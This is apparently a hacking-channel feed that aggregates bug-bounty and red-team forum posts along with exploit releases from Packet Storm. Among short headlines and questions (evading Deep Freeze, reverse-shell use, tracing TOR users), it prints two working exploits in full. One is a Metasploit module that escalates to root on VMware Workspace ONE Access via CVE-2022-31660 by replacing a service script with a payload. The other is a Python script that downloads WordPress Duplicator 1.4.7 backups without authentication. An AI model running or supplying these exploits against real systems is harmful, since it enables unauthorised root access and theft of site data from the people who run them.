Finding internal ip for big organization
https://medium.com/@kandar.souvik6/finding-internal-ip-for-big-organization-99e0547fa073?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

I have found a way to find internal ip for big organization(for example twitter, linkedin etc).The way to do that is very simple.Continue reading on Medium » (https://medium.com/@kandar.souvik6/finding-internal-ip-for-big-organization-99e0547fa073?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Is there any getting around Deep Freeze?
https://www.reddit.com/r/redteamsec/comments/wg9wpr/is_there_any_getting_around_deep_freeze/

Has anyone encountered Deep Freeze (https://www.faronics.com/products/deep-freeze), and know if there's a way around its "reboot to restore" ability? submitted by /u/greyyit (https://www.reddit.com/user/greyyit)
[link] (https://www.reddit.com/r/redteamsec/comments/wg9wpr/is_there_any_getting_around_deep_freeze/) [comments] (https://www.reddit.com/r/redteamsec/comments/wg9wpr/is_there_any_getting_around_deep_freeze/)

___________________________
@hacking_Attack
@Hacking_Video

Internal Pen
https://www.reddit.com/r/Pentesting/comments/wg90vs/internal_pen/

Does anyone have a sort of checklist for things they do on an assumed breach internal Pen Test? submitted by /u/HazardNet (https://www.reddit.com/user/HazardNet)
[link] (https://www.reddit.com/r/Pentesting/comments/wg90vs/internal_pen/) [comments] (https://www.reddit.com/r/Pentesting/comments/wg90vs/internal_pen/)

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WordPress Download Manager 3.2.50 Arbitrary File Deletion

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Chrome WebGL Uniform Integer Overflows

https://2.bp.blogspot.com/-trS7d3JOSJY/WWlvYoSx4fI/AAAAAAAAIOo/ua-jTrS9avcHrliD3JJHs9ifWyf14eAUwCLcBGAs/s1600/h57.png
The WebGL implementation for setting uniform values with an ArrayBuffer argument do not properly handle large buffer sizes. As WASM now allows allocating large ArrayBuffers, this can lead to buffer overflows when writing to the GPU command buffer.

SHA-256 | 0bdf6d06a281ed2823e5f46ea472615509e7f1f676d5bd3238d8cfd3b783d262

Download
Source:packetstormsecurity.com
➖ Sent by @TheFeedReaderBot ➖

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
VMware Workspace ONE Access Privilege Escalation

https://1.bp.blogspot.com/-3PgjWVftdQ0/WWlvP-R2mXI/AAAAAAAAIM8/iBQyafDa-iYc-AHcRZlLffBv9_pWsP_-gCLcBGAs/s1600/h30.png VMware Workspace ONE Access contains a vulnerability whereby the horizon user can escalate their privileges to those of the root user by modifying a file and then restarting the vmware-certproxy service which invokes it. The service control is permitted via the sudo configuration without a password.

SHA-256 | 84c0696cc53d2e4bd749c04b694cbb8ae3676b266a9d0e92ecb77d88dc2558c3Download ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Exploit::EXE
include Msf::Post::File
include Msf::Post::Unix

TARGET_FILE = '/opt/vmware/certproxy/bin/cert-proxy.sh'.freeze

def initialize(info = {})
super(
update_info(
info,
{
'Name' => 'VMware Workspace ONE Access CVE-2022-31660',
'Description' => %q{
VMware Workspace ONE Access contains a vulnerability whereby the horizon user can escalate their privileges
to those of the root user by modifying a file and then restarting the vmware-certproxy service which
invokes it. The service control is permitted via the sudo configuration without a password.
},
'License' => MSF_LICENSE,
'Author' => [
'Spencer McIntyre'
],
'Platform' => [ 'linux', 'unix' ],
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
'SessionTypes' => ['shell', 'meterpreter'],
'Targets' => [
[ 'Automatic', {} ],
],
'DefaultOptions' => {
'PrependFork' => true,
'MeterpreterTryToFork' => true
},
'Privileged' => true,
'DefaultTarget' => 0,
'References' => [
[ 'CVE', '2022-31660' ],
[ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2022-0021.html' ]
],
'DisclosureDate' => '2022-08-02',
'Notes' => {
# We're corrupting the vmware-certproxy service, if restoring the contents fails it won't work. This service
# is disabled by default though.
'Stability' => [CRASH_SERVICE_DOWN],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK]
}
}
)
)
end

def certproxy_service
# this script's location depends on the version, so find it.
return @certproxy_service if @certproxy_service

@certproxy_service = [
'/usr/local/horizon/scripts/certproxyService.sh',
'/opt/vmware/certproxy/bin/certproxyService.sh'
].find { |path| file?(path) }

vprint_status("Found service control script at: #{@certproxy_service}") if @certproxy_service
@certproxy_service
end

def sudo(arguments)
cmd_exec("sudo --non-interactive #{arguments}")
end

def check
unless whoami == 'horizon'
return CheckCode::Safe('Not running as the horizon user.')
end

token = Rex::Text.rand_text_alpha(10)
unless sudo("--list '#{certproxy_service}' && echo #{token}").include?(token)
return CheckCode::Safe('Cannot invoke the service control script with sudo.')
end

unless writable?(TARGET_FILE)
return CheckCode::Safe('Cannot write to the service file.')
end

CheckCode::Appears
end

def exploit
# backup the original permissions and contents
print_status('Backing up the original file...')
@backup = {
stat: stat(TARGET_FILE),
contents: read_file(TARGET_FILE)
}

if payload.arch.first == ARCH_CMD
payload_data = "#!/bin/bash\n#{payload.encoded}"
else
payload_data = generate_payload_exe
end
upload_and_chmodx(TARGET_FILE, payload_data)
print_status('Triggering the payload...')
sudo("--background #{certproxy_service} restart")
end

def cleanup
return unless @backup

print_status('Restoring file contents...')
file_rm(TARGET_FILE) # it's necessary to delete the running file before overwriting it
write_file(TARGET_FILE, @backup[:contents])
print_status('Restoring file permissions...')
chmod(TARGET_FILE, @backup[:stat].mode & 0o777)
end
end Source:packetstormsecurity.com
➖ Sent by @TheFeedReaderBot ➖

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WordPress Duplicator 1.4.7 Unauthenticated Backup Download

https://4.bp.blogspot.com/-B5GiRC1v-wQ/WWlu5E53nEI/AAAAAAAAIJE/W3BLkm7Hy_YnB0vtTzhGYY_ZESaF8C84ACLcBGAs/s1600/h105.png
WordPress Duplicator plugin version 1.4.7 suffers from a backup disclosure vulnerability.

SHA-256 | 04982466db7c76497be8314d2b990e3813032ae3c42472e2da24efa0e2ac3be6

Download
## Title: WordPress Plugin Duplicator 1.4.7 - Unauthenticated Backup Download
## Author: nu11secur1ty
## Date: 08.03.2022
## Vendor: https://wordpress.org/
## Software: https://wordpress.org/plugins/duplicator/
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/WordPress/2022/Duplicator%20%E2%80%93%20WordPress-Migration-Plugin
## Description:
The WordPress Plugin Duplicator 1.4.7 suffers from Unauthenticated
Backup Download.
The attacker can download all archive information from the system by
using this vulnerability!
Status: CRITICAL

[+] Exploit:

```mysql
#!/usr/bin/python
# Author nu11secur1ty
import requests
import time

vulnerableURL =
"http://pwned_host.com/wordpress/wp-content/backups-dup-lite/20220803_pwned_28dce10d86c575519304_20220803113819_archive.zip"
response = requests.get(vulnerableURL)
open("20220803_pwned_28dce10d86c575519304_20220803113819_archive.zip",
"wb").write(response.content)
time.sleep(5)
print("Right now, you just downloaded the secret archive =)\n")
```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/WordPress/2022/Duplicator%20%E2%80%93%20WordPress-Migration-Plugin)

## Proof and Exploit:
[href](https://streamable.com/n3osob)

Source:packetstormsecurity.com
➖ Sent by @TheFeedReaderBot ➖

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Backdoor.Win32.Jokerdoor MVID-2022-0628 Buffer Overflow

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Israel Police's Version of Pegasus Spyware Revealed

https://external-preview.redd.it/ehJsnv0xf_HCn1T0q-LSQoPdN-NYETkv4goxJYRMh4w.jpg?width=108&crop=smart&auto=webp&s=60fdc4c1917bfc109d22395d04b8ceb1a88e194b submitted by /u/CyberMasterV
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
I am Jon DiMaggio, professional "bad guy hunter" and author of The Art of Cyberwarfare from No Starch Press. AMA/ Ask me anything!

EDIT (5:30pm ET/2:30pm PT): That's all for now. Jon will be back later this evening and tomorrow to answer any remaining questions. Thank you all for participating and remember to use code AMA25 for 25% off of Jon's book at nostarch.com/art-cyberwarfare!

​

I'm a recognized industry veteran in the business of “chasing bad guys,” with over 15 years of experience hunting, researching, and writing about advanced cyber threats. As a specialist in enterprise ransomware attacks and nation-state intrusions, I'm behind white papers such as "Ransom Mafia: Analysis of the World’s First Ransomware Cartel” and "A History of REvil." I'm also the author of The Art of Cyberwarfare: An Investigator's Guide to Espionage, Ransomware, and Organized Cybercrime, published in March by No Starch Press. In addition to exposing the criminal cartels behind major ransomware attacks, I've aided law enforcement agencies in federal indictments of nation-state hacks, and discussed my work with The New York Times, Bloomberg, Fox, CNN, Reuters, WIRED, Vice and, recently, on David Bombal's YouTube channel.

Ask me anything!

From the No Starch Press Team: Jon will be live answering questions as u/jon_dimaggio beginning at 3pm ET/12pm PT.

As part of the AMA we're taking 25% off the cost of The Art of Cyberwarfare now through Saturday at midnight PT when you use code AMA25 at nostarch.com!

submitted by /u/NoStarchPress
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
TOR relay Locater.

Hello, I am a software and network engineer. Recently discovered an easy exploit that displays all TOR users on the network even when the IP is being changed. Each time a new relay is created it is attached to the already existing relay. Which is then backtracked and original location is presented thru the software I created. Proof of concept will be shown to people of real interest. Not bad people.

submitted by /u/crownedcunt
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Installing Python on Windows Reverse Shell

Hey there first post, I'm using a Linux server to reverse shell into my windows machine where I'm trying to install python remotely, so far I've found only one way to install python through powershell which is through choco. If anybody can come up with any other way of installing python through my reverse shell, please feel free to do so in the comments! :)

submitted by /u/Cyrtux
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video